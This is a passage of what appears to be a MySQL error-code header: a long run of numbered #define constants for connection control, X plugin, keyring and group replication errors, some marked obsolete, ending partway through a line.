11279 #define ER_CONN_CONTROL_STAT_CONN_DELAY_TRIGGERED_UPDATE_FAILED 11280 #define ER_CONN_CONTROL_STAT_CONN_DELAY_TRIGGERED_RESET_FAILED 11281 #define ER_CONN_CONTROL_INVALID_CONN_DELAY_TYPE 11282 #define ER_CONN_CONTROL_DELAY_ACTION_INIT_FAILED 11283 #define ER_CONN_CONTROL_FAILED_TO_SET_CONN_DELAY 11284 #define ER_CONN_CONTROL_FAILED_TO_UPDATE_CONN_DELAY_HASH 11285 #define ER_XPLUGIN_FORCE_STOP_CLIENT 11286 #define ER_XPLUGIN_MAX_AUTH_ATTEMPTS_REACHED 11287 #define ER_XPLUGIN_BUFFER_PAGE_ALLOC_FAILED 11288 #define ER_XPLUGIN_DETECTED_HANGING_CLIENTS 11289 #define ER_XPLUGIN_FAILED_TO_ACCEPT_CLIENT 11290 #define ER_XPLUGIN_FAILED_TO_SCHEDULE_CLIENT 11291 #define ER_XPLUGIN_FAILED_TO_PREPARE_IO_INTERFACES 11292 #define ER_XPLUGIN_SRV_SESSION_INIT_THREAD_FAILED 11293 #define ER_XPLUGIN_UNABLE_TO_USE_USER_SESSION_ACCOUNT 11294 #define ER_XPLUGIN_REFERENCE_TO_USER_ACCOUNT_DOC_SECTION 11295 #define ER_XPLUGIN_UNEXPECTED_EXCEPTION_DISPATCHING_CMD 11296 #define ER_XPLUGIN_EXCEPTION_IN_TASK_SCHEDULER 11297 #define ER_XPLUGIN_TASK_SCHEDULING_FAILED 11298 #define ER_XPLUGIN_EXCEPTION_IN_EVENT_LOOP 11299 #define ER_XPLUGIN_LISTENER_SETUP_FAILED 11300 #define ER_XPLUING_NET_STARTUP_FAILED 11301 #define ER_XPLUGIN_FAILED_AT_SSL_CONF 11302 //#define OBSOLETE_ER_XPLUGIN_CLIENT_SSL_HANDSHAKE_FAILED 11303 //#define OBSOLETE_ER_XPLUGIN_SSL_HANDSHAKE_WITH_SERVER_FAILED 11304 #define ER_XPLUGIN_FAILED_TO_CREATE_SESSION_FOR_CONN 11305 #define ER_XPLUGIN_FAILED_TO_INITIALIZE_SESSION 11306 #define ER_XPLUGIN_MESSAGE_TOO_LONG 11307 #define ER_XPLUGIN_UNINITIALIZED_MESSAGE 11308 #define ER_XPLUGIN_FAILED_TO_SET_MIN_NUMBER_OF_WORKERS 11309 #define ER_XPLUGIN_UNABLE_TO_ACCEPT_CONNECTION 11310 #define ER_XPLUGIN_ALL_IO_INTERFACES_DISABLED 11311 //#define OBSOLETE_ER_XPLUGIN_INVALID_MSG_DURING_CLIENT_INIT 11312 //#define OBSOLETE_ER_XPLUGIN_CLOSING_CLIENTS_ON_SHUTDOWN 11313 #define ER_XPLUGIN_ERROR_READING_SOCKET 11314 #define ER_XPLUGIN_PEER_DISCONNECTED_WHILE_READING_MSG_BODY 11315 #define ER_XPLUGIN_READ_FAILED_CLOSING_CONNECTION 11316 //#define OBSOLETE_ER_XPLUGIN_INVALID_AUTH_METHOD 11317 //#define OBSOLETE_ER_XPLUGIN_UNEXPECTED_MSG_DURING_AUTHENTICATION 11318 //#define OBSOLETE_ER_XPLUGIN_ERROR_WRITING_TO_CLIENT 11319 //#define OBSOLETE_ER_XPLUGIN_SCHEDULER_STARTED 11320 //#define OBSOLETE_ER_XPLUGIN_SCHEDULER_STOPPED 11321 #define ER_XPLUGIN_LISTENER_SYS_VARIABLE_ERROR 11322 #define ER_XPLUGIN_LISTENER_STATUS_MSG 11323 #define ER_XPLUGIN_RETRYING_BIND_ON_PORT 11324 //#define OBSOLETE_ER_XPLUGIN_SHUTDOWN_TRIGGERED 11325 //#define OBSOLETE_ER_XPLUGIN_USER_ACCOUNT_WITH_ALL_PERMISSIONS 11326 #define ER_XPLUGIN_EXISTING_USER_ACCOUNT_WITH_INCOMPLETE_GRANTS 11327 //#define OBSOLETE_ER_XPLUGIN_SERVER_STARTS_HANDLING_CONNECTIONS 11328 //#define OBSOLETE_ER_XPLUGIN_SERVER_STOPPED_HANDLING_CONNECTIONS 11329 //#define OBSOLETE_ER_XPLUGIN_FAILED_TO_INTERRUPT_SESSION 11330 //#define OBSOLETE_ER_XPLUGIN_CLIENT_RELEASE_TRIGGERED 11331 #define ER_XPLUGIN_IPv6_AVAILABLE 11332 //#define OBSOLETE_ER_XPLUGIN_UNIX_SOCKET_NOT_CONFIGURED 11333 #define ER_XPLUGIN_CLIENT_KILL_MSG 11334 #define ER_XPLUGIN_FAILED_TO_GET_SECURITY_CTX 11335 //#define OBSOLETE_ER_XPLUGIN_FAILED_TO_SWITCH_SECURITY_CTX_TO_ROOT 11336 #define ER_XPLUGIN_FAILED_TO_CLOSE_SQL_SESSION 11337 #define ER_XPLUGIN_FAILED_TO_EXECUTE_ADMIN_CMD 11338 #define ER_XPLUGIN_EMPTY_ADMIN_CMD 11339 #define ER_XPLUGIN_FAILED_TO_GET_SYS_VAR 11340 #define ER_XPLUGIN_FAILED_TO_GET_CREATION_STMT 11341 #define ER_XPLUGIN_FAILED_TO_GET_ENGINE_INFO 11342 //#define OBSOLETE_ER_XPLUGIN_FAIL_TO_GET_RESULT_DATA 11343 //#define OBSOLETE_ER_XPLUGIN_CAPABILITY_EXPIRED_PASSWORD 11344 #define ER_XPLUGIN_FAILED_TO_SET_SO_REUSEADDR_FLAG 11345 #define ER_XPLUGIN_FAILED_TO_OPEN_INTERNAL_SESSION 11346 #define ER_XPLUGIN_FAILED_TO_SWITCH_CONTEXT 11347 #define ER_XPLUGIN_FAILED_TO_UNREGISTER_UDF 11348 //#define OBSOLETE_ER_XPLUGIN_GET_PEER_ADDRESS_FAILED 11349 //#define OBSOLETE_ER_XPLUGIN_CAPABILITY_CLIENT_INTERACTIVE_FAILED 11350 #define ER_XPLUGIN_FAILED_TO_RESET_IPV6_V6ONLY_FLAG 11351 #define ER_KEYRING_INVALID_KEY_TYPE 11352 #define ER_KEYRING_INVALID_KEY_LENGTH 11353 #define ER_KEYRING_FAILED_TO_CREATE_KEYRING_DIR 11354 #define ER_KEYRING_FILE_INIT_FAILED 11355 #define ER_KEYRING_INTERNAL_EXCEPTION_FAILED_FILE_INIT 11356 #define ER_KEYRING_FAILED_TO_GENERATE_KEY 11357 #define ER_KEYRING_CHECK_KEY_FAILED_DUE_TO_INVALID_KEY 11358 #define ER_KEYRING_CHECK_KEY_FAILED_DUE_TO_EMPTY_KEY_ID 11359 #define ER_KEYRING_OPERATION_FAILED_DUE_TO_INTERNAL_ERROR 11360 #define ER_KEYRING_INCORRECT_FILE 11361 #define ER_KEYRING_FOUND_MALFORMED_BACKUP_FILE 11362 #define ER_KEYRING_FAILED_TO_RESTORE_FROM_BACKUP_FILE 11363 #define ER_KEYRING_FAILED_TO_FLUSH_KEYRING_TO_FILE 11364 #define ER_KEYRING_FAILED_TO_GET_FILE_STAT 11365 #define ER_KEYRING_FAILED_TO_REMOVE_FILE 11366 #define ER_KEYRING_FAILED_TO_TRUNCATE_FILE 11367 #define ER_KEYRING_UNKNOWN_ERROR 11368 #define ER_KEYRING_FAILED_TO_SET_KEYRING_FILE_DATA 11369 #define ER_KEYRING_FILE_IO_ERROR 11370 #define ER_KEYRING_FAILED_TO_LOAD_KEYRING_CONTENT 11371 #define ER_KEYRING_FAILED_TO_FLUSH_KEYS_TO_KEYRING 11372 #define ER_KEYRING_FAILED_TO_FLUSH_KEYS_TO_KEYRING_BACKUP 11373 #define ER_KEYRING_KEY_FETCH_FAILED_DUE_TO_EMPTY_KEY_ID 11374 #define ER_KEYRING_FAILED_TO_REMOVE_KEY_DUE_TO_EMPTY_ID 11375 #define ER_KEYRING_OKV_INCORRECT_KEY_VAULT_CONFIGURED 11376 #define ER_KEYRING_OKV_INIT_FAILED_DUE_TO_INCORRECT_CONF 11377 #define ER_KEYRING_OKV_INIT_FAILED_DUE_TO_INTERNAL_ERROR 11378 #define ER_KEYRING_OKV_INVALID_KEY_TYPE 11379 #define ER_KEYRING_OKV_INVALID_KEY_LENGTH_FOR_CIPHER 11380 #define ER_KEYRING_OKV_FAILED_TO_GENERATE_KEY_DUE_TO_INTERNAL_ERROR 11381 #define ER_KEYRING_OKV_FAILED_TO_FIND_SERVER_ENTRY 11382 #define ER_KEYRING_OKV_FAILED_TO_FIND_STANDBY_SERVER_ENTRY 11383 #define ER_KEYRING_OKV_FAILED_TO_PARSE_CONF_FILE 11384 #define ER_KEYRING_OKV_FAILED_TO_LOAD_KEY_UID 11385 #define ER_KEYRING_OKV_FAILED_TO_INIT_SSL_LAYER 11386 #define ER_KEYRING_OKV_FAILED_TO_INIT_CLIENT 11387 #define ER_KEYRING_OKV_CONNECTION_TO_SERVER_FAILED 11388 #define ER_KEYRING_OKV_FAILED_TO_REMOVE_KEY 11389 #define ER_KEYRING_OKV_FAILED_TO_ADD_ATTRIBUTE 11390 #define ER_KEYRING_OKV_FAILED_TO_GENERATE_KEY 11391 #define ER_KEYRING_OKV_FAILED_TO_STORE_KEY 11392 #define ER_KEYRING_OKV_FAILED_TO_ACTIVATE_KEYS 11393 #define ER_KEYRING_OKV_FAILED_TO_FETCH_KEY 11394 #define ER_KEYRING_OKV_FAILED_TO_STORE_OR_GENERATE_KEY 11395 #define ER_KEYRING_OKV_FAILED_TO_RETRIEVE_KEY_SIGNATURE 11396 #define ER_KEYRING_OKV_FAILED_TO_RETRIEVE_KEY 11397 #define ER_KEYRING_OKV_FAILED_TO_LOAD_SSL_TRUST_STORE 11398 #define ER_KEYRING_OKV_FAILED_TO_SET_CERTIFICATE_FILE 11399 #define ER_KEYRING_OKV_FAILED_TO_SET_KEY_FILE 11400 #define ER_KEYRING_OKV_KEY_MISMATCH 11401 #define ER_KEYRING_ENCRYPTED_FILE_INCORRECT_KEYRING_FILE 11402 #define ER_KEYRING_ENCRYPTED_FILE_DECRYPTION_FAILED 11403 #define ER_KEYRING_ENCRYPTED_FILE_FOUND_MALFORMED_BACKUP_FILE 11404 #define ER_KEYRING_ENCRYPTED_FILE_FAILED_TO_RESTORE_KEYRING 11405 #define ER_KEYRING_ENCRYPTED_FILE_FAILED_TO_FLUSH_KEYRING 11406 #define ER_KEYRING_ENCRYPTED_FILE_ENCRYPTION_FAILED 11407 #define ER_KEYRING_ENCRYPTED_FILE_INVALID_KEYRING_DIR 11408 #define ER_KEYRING_ENCRYPTED_FILE_FAILED_TO_CREATE_KEYRING_DIR 11409 #define ER_KEYRING_ENCRYPTED_FILE_PASSWORD_IS_INVALID 11410 #define ER_KEYRING_ENCRYPTED_FILE_PASSWORD_IS_TOO_LONG 11411 #define ER_KEYRING_ENCRYPTED_FILE_INIT_FAILURE 11412 #define ER_KEYRING_ENCRYPTED_FILE_INIT_FAILED_DUE_TO_INTERNAL_ERROR 11413 #define ER_KEYRING_ENCRYPTED_FILE_GEN_KEY_FAILED_DUE_TO_INTERNAL_ERROR 11414 #define ER_KEYRING_AWS_FAILED_TO_SET_CMK_ID 11415 #define ER_KEYRING_AWS_FAILED_TO_SET_REGION 11416 #define ER_KEYRING_AWS_FAILED_TO_OPEN_CONF_FILE 11417 #define ER_KEYRING_AWS_FAILED_TO_ACCESS_KEY_ID_FROM_CONF_FILE 11418 #define ER_KEYRING_AWS_FAILED_TO_ACCESS_KEY_FROM_CONF_FILE 11419 #define ER_KEYRING_AWS_INVALID_CONF_FILE_PATH 11420 #define ER_KEYRING_AWS_INVALID_DATA_FILE_PATH 11421 #define ER_KEYRING_AWS_FAILED_TO_ACCESS_OR_CREATE_KEYRING_DIR 11422 #define ER_KEYRING_AWS_FAILED_TO_ACCESS_OR_CREATE_KEYRING_DATA_FILE 11423 #define ER_KEYRING_AWS_FAILED_TO_INIT_DUE_TO_INTERNAL_ERROR 11424 #define ER_KEYRING_AWS_FAILED_TO_ACCESS_DATA_FILE 11425 #define ER_KEYRING_AWS_CMK_ID_NOT_SET 11426 #define ER_KEYRING_AWS_FAILED_TO_GET_KMS_CREDENTIAL_FROM_CONF_FILE 11427 #define ER_KEYRING_AWS_INIT_FAILURE 11428 #define ER_KEYRING_AWS_FAILED_TO_INIT_DUE_TO_PLUGIN_INTERNAL_ERROR 11429 #define ER_KEYRING_AWS_INVALID_KEY_LENGTH_FOR_CIPHER 11430 #define ER_KEYRING_AWS_FAILED_TO_GENERATE_KEY_DUE_TO_INTERNAL_ERROR 11431 #define ER_KEYRING_AWS_INCORRECT_FILE 11432 #define ER_KEYRING_AWS_FOUND_MALFORMED_BACKUP_FILE 11433 #define ER_KEYRING_AWS_FAILED_TO_RESTORE_FROM_BACKUP_FILE 11434 #define ER_KEYRING_AWS_FAILED_TO_FLUSH_KEYRING_TO_FILE 11435 #define ER_KEYRING_AWS_INCORRECT_REGION 11436 #define ER_KEYRING_AWS_FAILED_TO_CONNECT_KMS 11437 #define ER_KEYRING_AWS_FAILED_TO_GENERATE_NEW_KEY 11438 #define ER_KEYRING_AWS_FAILED_TO_ENCRYPT_KEY 11439 #define ER_KEYRING_AWS_FAILED_TO_RE_ENCRYPT_KEY 11440 #define ER_KEYRING_AWS_FAILED_TO_DECRYPT_KEY 11441 #define ER_KEYRING_AWS_FAILED_TO_ROTATE_CMK 11442 #define ER_GRP_RPL_GTID_ALREADY_USED 11443 #define ER_GRP_RPL_APPLIER_THD_KILLED 11444 #define ER_GRP_RPL_EVENT_HANDLING_ERROR 11445 #define ER_GRP_RPL_ERROR_GTID_EXECUTION_INFO 11446 #define ER_GRP_RPL_CERTIFICATE_SIZE_ERROR 11447 #define ER_GRP_RPL_CREATE_APPLIER_CACHE_ERROR 11448 #define ER_GRP_RPL_UNBLOCK_WAITING_THD 11449 #define ER_GRP_RPL_APPLIER_PIPELINE_NOT_DISPOSED 11450 #define ER_GRP_RPL_APPLIER_THD_EXECUTION_ABORTED 11451 #define ER_GRP_RPL_APPLIER_EXECUTION_FATAL_ERROR 11452 #define ER_GRP_RPL_ERROR_STOPPING_CHANNELS 11453 #define ER_GRP_RPL_ERROR_SENDING_SINGLE_PRIMARY_MSSG 11454 #define ER_GRP_RPL_UPDATE_TRANS_SNAPSHOT_VER_ERROR 11455 #define ER_GRP_RPL_SIDNO_FETCH_ERROR 11456 #define ER_GRP_RPL_BROADCAST_COMMIT_TRANS_MSSG_FAILED 11457 #define ER_GRP_RPL_GROUP_NAME_PARSE_ERROR 11458 #define ER_GRP_RPL_ADD_GRPSID_TO_GRPGTIDSID_MAP_ERROR 11459 #define ER_GRP_RPL_UPDATE_GRPGTID_EXECUTED_ERROR 11460 #define ER_GRP_RPL_DONOR_TRANS_INFO_ERROR 11461 #define ER_GRP_RPL_SERVER_CONN_ERROR 11462 #define ER_GRP_RPL_ERROR_FETCHING_GTID_EXECUTED_SET 11463 #define ER_GRP_RPL_ADD_GTID_TO_GRPGTID_EXECUTED_ERROR 11464 #define ER_GRP_RPL_ERROR_FETCHING_GTID_SET 11465 #define ER_GRP_RPL_ADD_RETRIEVED_SET_TO_GRP_GTID_EXECUTED_ERROR 11466 #define ER_GRP_RPL_CERTIFICATION_INITIALIZATION_FAILURE 11467 #define ER_GRP_RPL_UPDATE_LAST_CONFLICT_FREE_TRANS_ERROR 11468 #define ER_GRP_RPL_UPDATE_TRANS_SNAPSHOT_REF_VER_ERROR 11469 #define ER_GRP_RPL_FETCH_TRANS_SIDNO_ERROR 11470 #define ER_GRP_RPL_ERROR_VERIFYING_SIDNO 11471 #define ER_GRP_RPL_CANT_GENERATE_GTID 11472 #define ER_GRP_RPL_INVALID_GTID_SET 11473 #define ER_GRP_RPL_UPDATE_GTID_SET_ERROR 11474 #define ER_GRP_RPL_RECEIVED_SET_MISSING_GTIDS 11475 //#define OBSOLETE_ER_GRP_RPL_SKIP_COMPUTATION_TRANS_COMMITTED 11476 #define ER_GRP_RPL_NULL_PACKET 11477 #define ER_GRP_RPL_CANT_READ_GTID 11478 #define ER_GRP_RPL_PROCESS_GTID_SET_ERROR 11479 #define ER_GRP_RPL_PROCESS_INTERSECTION_GTID_SET_ERROR 11480 #define ER_GRP_RPL_SET_STABLE_TRANS_ERROR 11481 #define ER_GRP_RPL_CANT_READ_GRP_GTID_EXTRACTED 11482 #define ER_GRP_RPL_CANT_READ_WRITE_SET_ITEM 11483 #define ER_GRP_RPL_INIT_CERTIFICATION_INFO_FAILURE 11484 #define ER_GRP_RPL_CONFLICT_DETECTION_DISABLED 11485 #define ER_GRP_RPL_MSG_DISCARDED 11486 #define ER_GRP_RPL_MISSING_GRP_RPL_APPLIER 11487 #define ER_GRP_RPL_CERTIFIER_MSSG_PROCESS_ERROR 11488 #define ER_GRP_RPL_SRV_NOT_ONLINE 11489 #define ER_GRP_RPL_SRV_ONLINE 11490 #define ER_GRP_RPL_DISABLE_SRV_READ_MODE_RESTRICTED 11491 #define ER_GRP_RPL_MEM_ONLINE 11492 #define ER_GRP_RPL_MEM_UNREACHABLE 11493 #define ER_GRP_RPL_MEM_REACHABLE 11494 #define ER_GRP_RPL_SRV_BLOCKED 11495 #define ER_GRP_RPL_SRV_BLOCKED_FOR_SECS 11496 #define ER_GRP_RPL_CHANGE_GRP_MEM_NOT_PROCESSED 11497 #define ER_GRP_RPL_MEMBER_CONTACT_RESTORED 11498 #define ER_GRP_RPL_MEMBER_REMOVED 11499 #define ER_GRP_RPL_PRIMARY_MEMBER_LEFT_GRP 11500 #define ER_GRP_RPL_MEMBER_ADDED 11501 #define ER_GRP_RPL_MEMBER_EXIT_PLUGIN_ERROR 11502 #define ER_GRP_RPL_MEMBER_CHANGE 11503 #define ER_GRP_RPL_MEMBER_LEFT_GRP 11504 #define ER_GRP_RPL_MEMBER_EXPELLED 11505 #define ER_GRP_RPL_SESSION_OPEN_FAILED 11506 #define ER_GRP_RPL_NEW_PRIMARY_ELECTED 11507 #define ER_GRP_RPL_DISABLE_READ_ONLY_FAILED 11508 #define ER_GRP_RPL_ENABLE_READ_ONLY_FAILED 11509 #define ER_GRP_RPL_SRV_PRIMARY_MEM 11510 #define ER_GRP_RPL_SRV_SECONDARY_MEM 11511 #define ER_GRP_RPL_NO_SUITABLE_PRIMARY_MEM 11512 #define ER_GRP_RPL_SUPER_READ_ONLY_ACTIVATE_ERROR 11513 #define ER_GRP_RPL_EXCEEDS_AUTO_INC_VALUE 11514 #define ER_GRP_RPL_DATA_NOT_PROVIDED_BY_MEM 11515 #define ER_GRP_RPL_MEMBER_ALREADY_EXISTS 11516 //#define OBSOLETE_ER_GRP_RPL_GRP_CHANGE_INFO_EXTRACT_ERROR 11517 #define ER_GRP_RPL_GTID_EXECUTED_EXTRACT_ERROR 11518 #define ER_GRP_RPL_GTID_SET_EXTRACT_ERROR 11519 #define ER_GRP_RPL_START_FAILED 11520 #define ER_GRP_RPL_MEMBER_VER_INCOMPATIBLE 11521 #define ER_GRP_RPL_TRANS_NOT_PRESENT_IN_GRP 11522 #define ER_GRP_RPL_TRANS_GREATER_THAN_GRP 11523 #define ER_GRP_RPL_MEMBER_VERSION_LOWER_THAN_GRP 11524 #define ER_GRP_RPL_LOCAL_GTID_SETS_PROCESS_ERROR 11525 #define ER_GRP_RPL_MEMBER_TRANS_GREATER_THAN_GRP 11526 #define ER_GRP_RPL_BLOCK_SIZE_DIFF_FROM_GRP 11527 #define ER_GRP_RPL_TRANS_WRITE_SET_EXTRACT_DIFF_FROM_GRP 11528 #define ER_GRP_RPL_MEMBER_CFG_INCOMPATIBLE_WITH_GRP_CFG 11529 #define ER_GRP_RPL_MEMBER_STOP_RPL_CHANNELS_ERROR 11530 #define ER_GRP_RPL_PURGE_APPLIER_LOGS 11531 #define ER_GRP_RPL_RESET_APPLIER_MODULE_LOGS_ERROR 11532 #define ER_GRP_RPL_APPLIER_THD_SETUP_ERROR 11533 #define ER_GRP_RPL_APPLIER_THD_START_ERROR 11534 #define ER_GRP_RPL_APPLIER_THD_STOP_ERROR 11535 #define ER_GRP_RPL_FETCH_TRANS_DATA_FAILED 11536 #define ER_GRP_RPL_REPLICA_IO_THD_PRIMARY_UNKNOWN 11537 #define ER_GRP_RPL_SALVE_IO_THD_ON_SECONDARY_MEMBER 11538 #define ER_GRP_RPL_REPLICA_SQL_THD_PRIMARY_UNKNOWN 11539 #define ER_GRP_RPL_REPLICA_SQL_THD_ON_SECONDARY_MEMBER 11540 #define ER_GRP_RPL_NEEDS_INNODB_TABLE 11541 #define ER_GRP_RPL_PRIMARY_KEY_NOT_DEFINED 11542 #define ER_GRP_RPL_FK_WITH_CASCADE_UNSUPPORTED 11543 #define ER_GRP_RPL_AUTO_INC_RESET 11544 #define ER_GRP_RPL_AUTO_INC_OFFSET_RESET 11545 #define ER_GRP_RPL_AUTO_INC_SET 11546 #define ER_GRP_RPL_AUTO_INC_OFFSET_SET 11547 #define ER_GRP_RPL_FETCH_TRANS_CONTEXT_FAILED 11548 #define ER_GRP_RPL_FETCH_FORMAT_DESC_LOG_EVENT_FAILED 11549 #define ER_GRP_RPL_FETCH_TRANS_CONTEXT_LOG_EVENT_FAILED 11550 #define ER_GRP_RPL_FETCH_SNAPSHOT_VERSION_FAILED 11551 #define ER_GRP_RPL_FETCH_GTID_LOG_EVENT_FAILED 11552 #define ER_GRP_RPL_UPDATE_SERV_CERTIFICATE_FAILED 11553 #define ER_GRP_RPL_ADD_GTID_INFO_WITH_LOCAL_GTID_FAILED 11554 #define ER_GRP_RPL_ADD_GTID_INFO_WITHOUT_LOCAL_GTID_FAILED 11555 #define ER_GRP_RPL_NOTIFY_CERTIFICATION_OUTCOME_FAILED 11556 #define ER_GRP_RPL_ADD_GTID_INFO_WITH_REMOTE_GTID_FAILED 11557 #define ER_GRP_RPL_ADD_GTID_INFO_WITHOUT_REMOTE_GTID_FAILED 11558 #define ER_GRP_RPL_FETCH_VIEW_CHANGE_LOG_EVENT_FAILED 11559 //#define OBSOLETE_ER_GRP_RPL_CONTACT_WITH_SRV_FAILED 11560 //#define OBSOLETE_ER_GRP_RPL_SRV_WAIT_TIME_OUT 11561 #define ER_GRP_RPL_FETCH_LOG_EVENT_FAILED 11562 #define ER_GRP_RPL_START_GRP_RPL_FAILED 11563 #define ER_GRP_RPL_CONN_INTERNAL_PLUGIN_FAIL 11564 #define ER_GRP_RPL_SUPER_READ_ON 11565 #define ER_GRP_RPL_SUPER_READ_OFF 11566 #define ER_GRP_RPL_KILLED_SESSION_ID 11567 #define ER_GRP_RPL_KILLED_FAILED_ID 11568 #define ER_GRP_RPL_INTERNAL_QUERY 11569 #define ER_GRP_RPL_COPY_FROM_EMPTY_STRING 11570 #define ER_GRP_RPL_QUERY_FAIL 11571 #define ER_GRP_RPL_CREATE_SESSION_UNABLE 11572 #define ER_GRP_RPL_MEMBER_NOT_FOUND 11573 #define ER_GRP_RPL_MAXIMUM_CONNECTION_RETRIES_REACHED 11574 #define ER_GRP_RPL_ALL_DONORS_LEFT_ABORT_RECOVERY 11575 #define ER_GRP_RPL_ESTABLISH_RECOVERY_WITH_DONOR 11576 #define ER_GRP_RPL_ESTABLISH_RECOVERY_WITH_ANOTHER_DONOR 11577 #define ER_GRP_RPL_NO_VALID_DONOR 11578 #define ER_GRP_RPL_CONFIG_RECOVERY 11579 #define ER_GRP_RPL_ESTABLISHING_CONN_GRP_REC_DONOR 11580 #define ER_GRP_RPL_CREATE_GRP_RPL_REC_CHANNEL 11581 #define ER_GRP_RPL_DONOR_SERVER_CONN 11582 #define ER_GRP_RPL_CHECK_STATUS_TABLE 11583 #define ER_GRP_RPL_STARTING_GRP_REC 11584 #define ER_GRP_RPL_DONOR_CONN_TERMINATION 11585 #define ER_GRP_RPL_STOPPING_GRP_REC 11586 #define ER_GRP_RPL_PURGE_REC 11587 #define ER_GRP_RPL_UNABLE_TO_KILL_CONN_REC_DONOR_APPLIER 11588 #define ER_GRP_RPL_UNABLE_TO_KILL_CONN_REC_DONOR_FAILOVER 11589 #define ER_GRP_RPL_FAILED_TO_NOTIFY_GRP_MEMBERSHIP_EVENT 11590 #define ER_GRP_RPL_FAILED_TO_BROADCAST_GRP_MEMBERSHIP_NOTIFICATION 11591 #define ER_GRP_RPL_FAILED_TO_BROADCAST_MEMBER_STATUS_NOTIFICATION 11592 #define ER_GRP_RPL_OOM_FAILED_TO_GENERATE_IDENTIFICATION_HASH 11593 #define ER_GRP_RPL_WRITE_IDENT_HASH_BASE64_ENCODING_FAILED 11594 #define ER_GRP_RPL_INVALID_BINLOG_FORMAT 11595 //#define OBSOLETE_ER_GRP_RPL_BINLOG_CHECKSUM_SET 11596 #define ER_GRP_RPL_TRANS_WRITE_SET_EXTRACTION_NOT_SET 11597 #define ER_GRP_RPL_UNSUPPORTED_TRANS_ISOLATION 11598 #define ER_GRP_RPL_CANNOT_EXECUTE_TRANS_WHILE_STOPPING 11599 #define ER_GRP_RPL_CANNOT_EXECUTE_TRANS_WHILE_RECOVERING 11600 #define ER_GRP_RPL_CANNOT_EXECUTE_TRANS_IN_ERROR_STATE 11601 #define ER_GRP_RPL_CANNOT_EXECUTE_TRANS_IN_OFFLINE_MODE 11602 #define ER_GRP_RPL_MULTIPLE_CACHE_TYPE_NOT_SUPPORTED_FOR_SESSION 11603 #define ER_GRP_RPL_FAILED_TO_REINIT_BINLOG_CACHE_FOR_READ 11604 #define ER_GRP_RPL_FAILED_TO_CREATE_TRANS_CONTEXT 11605 #define ER_GRP_RPL_FAILED_TO_EXTRACT_TRANS_WRITE_SET 11606 #define ER_GRP_RPL_FAILED_TO_GATHER_TRANS_WRITE_SET 11607 #define ER_GRP_RPL_TRANS_SIZE_EXCEEDS_LIMIT 11608 //#define OBSOLETE_ER_GRP_RPL_REINIT_OF_INTERNAL_CACHE_FOR_READ_FAILED 11609 //#define OBSOLETE_ER_GRP_RPL_APPENDING_DATA_TO_INTERNAL_CACHE_FAILED 11610 #define ER_GRP_RPL_WRITE_TO_TRANSACTION_MESSAGE_FAILED 11611 #define ER_GRP_RPL_FAILED_TO_REGISTER_TRANS_OUTCOME_NOTIFICTION 11612 #define ER_GRP_RPL_MSG_TOO_LONG_BROADCASTING_TRANS_FAILED 11613 #define ER_GRP_RPL_BROADCASTING_TRANS_TO_GRP_FAILED 11614 #define ER_GRP_RPL_ERROR_WHILE_WAITING_FOR_CONFLICT_DETECTION 11615 //#define OBSOLETE_ER_GRP_RPL_REINIT_OF_INTERNAL_CACHE_FOR_WRITE_FAILED 11616 //#define OBSOLETE_ER_GRP_RPL_FAILED_TO_CREATE_COMMIT_CACHE 11617 //#define OBSOLETE_ER_GRP_RPL_REINIT_OF_COMMIT_CACHE_FOR_WRITE_FAILED 11618 //#define OBSOLETE_ER_GRP_RPL_PREV_REC_SESSION_RUNNING 11619 #define ER_GRP_RPL_FATAL_REC_PROCESS 11620 //#define OBSOLETE_ER_GRP_RPL_WHILE_STOPPING_REP_CHANNEL 11621 #define ER_GRP_RPL_UNABLE_TO_EVALUATE_APPLIER_STATUS 11622 #define ER_GRP_RPL_ONLY_ONE_SERVER_ALIVE 11623 #define ER_GRP_RPL_CERTIFICATION_REC_PROCESS 11624 #define ER_GRP_RPL_UNABLE_TO_ENSURE_EXECUTION_REC 11625 #define ER_GRP_RPL_WHILE_SENDING_MSG_REC 11626 //#define OBSOLETE_ER_GRP_RPL_READ_UNABLE_FOR_SUPER_READ_ONLY 11627 #define ER_GRP_RPL_READ_UNABLE_FOR_READ_ONLY_SUPER_READ_ONLY 11628 #define ER_GRP_RPL_UNABLE_TO_RESET_SERVER_READ_MODE 11629 #define ER_GRP_RPL_UNABLE_TO_CERTIFY_PLUGIN_TRANS 11630 #define ER_GRP_RPL_UNBLOCK_CERTIFIED_TRANS 11631 //#define OBSOLETE_ER_GRP_RPL_SERVER_WORKING_AS_SECONDARY 11632 #define ER_GRP_RPL_FAILED_TO_START_WITH_INVALID_SERVER_ID 11633 #define ER_GRP_RPL_FORCE_MEMBERS_MUST_BE_EMPTY 11634 #define ER_GRP_RPL_PLUGIN_STRUCT_INIT_NOT_POSSIBLE_ON_SERVER_START 11635 #define ER_GRP_RPL_FAILED_TO_ENABLE_SUPER_READ_ONLY_MODE 11636 #define ER_GRP_RPL_FAILED_TO_INIT_COMMUNICATION_ENGINE 11637 #define ER_GRP_RPL_FAILED_TO_START_ON_SECONDARY_WITH_ASYNC_CHANNELS 11638 #define ER_GRP_RPL_FAILED_TO_START_COMMUNICATION_ENGINE 11639 #define ER_GRP_RPL_TIMEOUT_ON_VIEW_AFTER_JOINING_GRP 11640 #define ER_GRP_RPL_FAILED_TO_CALL_GRP_COMMUNICATION_INTERFACE 11641 #define ER_GRP_RPL_MEMBER_SERVER_UUID_IS_INCOMPATIBLE_WITH_GRP 11642 #define ER_GRP_RPL_MEMBER_CONF_INFO 11643 #define ER_GRP_RPL_FAILED_TO_CONFIRM_IF_SERVER_LEFT_GRP 11644 #define ER_GRP_RPL_SERVER_IS_ALREADY_LEAVING 11645 #define ER_GRP_RPL_SERVER_ALREADY_LEFT 11646 #define ER_GRP_RPL_WAITING_FOR_VIEW_UPDATE 11647 #define ER_GRP_RPL_TIMEOUT_RECEIVING_VIEW_CHANGE_ON_SHUTDOWN 11648 #define ER_GRP_RPL_REQUESTING_NON_MEMBER_SERVER_TO_LEAVE 11649 #define ER_GRP_RPL_IS_STOPPING 11650 #define ER_GRP_RPL_IS_STOPPED 11651 #define ER_GRP_RPL_FAILED_TO_ENABLE_READ_ONLY_MODE_ON_SHUTDOWN 11652 #define ER_GRP_RPL_RECOVERY_MODULE_TERMINATION_TIMED_OUT_ON_SHUTDOWN 11653 #define ER_GRP_RPL_APPLIER_TERMINATION_TIMED_OUT_ON_SHUTDOWN 11654 #define ER_GRP_RPL_FAILED_TO_SHUTDOWN_REGISTRY_MODULE 11655 #define ER_GRP_RPL_FAILED_TO_INIT_HANDLER 11656 #define 